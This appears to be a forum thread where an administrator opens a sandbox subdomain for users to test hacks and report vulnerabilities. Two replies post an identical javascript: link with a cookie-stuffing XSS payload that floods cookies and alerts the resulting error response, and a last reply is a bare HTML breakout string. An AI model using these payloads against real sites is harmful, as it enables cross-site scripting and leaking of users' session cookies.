Did you just found vulnerability?

general
1

Hi folks,

You can try your hacks on this sub domain of discuss. It would provide you place to test, and at the same time would help us in keeping the main discussion forum clean. :slight_smile:

If you found something, do report at [email protected]. We have laddus for you. :smiley:

2

[adsf](javascript: function setCookies (good) {
var str = ‘’;
for (var i=0; i< 1819; i++) {
str += ‘x’;
}
for (i = 0; i < 10; i++) {
if (good) {
var cookie = ‘xss’+i+’=;Expires=Wed,+02+Apr+2025+12:21:55+GMT;path=/;’;
} else {
var cookie = ‘xss’+i+’=’+str+’;path=/’;
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
if (xhr.readyState === 4 && xhr.status === 400) {
var content = xhr.responseText;
alert(content);
}
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open(‘GET’, ‘/api/todo/add’, true);
var params = ‘pcode=TWEED&ccode=’;
xhr.send(params);
}
makeRequest():wink:

3

[adsf](javascript: function setCookies (good) {
var str = ‘’;
for (var i=0; i< 1819; i++) {
str += ‘x’;
}
for (i = 0; i < 10; i++) {
if (good) {
var cookie = ‘xss’+i+’=;Expires=Wed,+02+Apr+2025+12:21:55+GMT;path=/;’;
} else {
var cookie = ‘xss’+i+’=’+str+’;path=/’;
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
if (xhr.readyState === 4 && xhr.status === 400) {
var content = xhr.responseText;
alert(content);
}
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open(‘GET’, ‘/api/todo/add’, true);
var params = ‘pcode=TWEED&ccode=’;
xhr.send(params);
}
makeRequest():wink:

4

">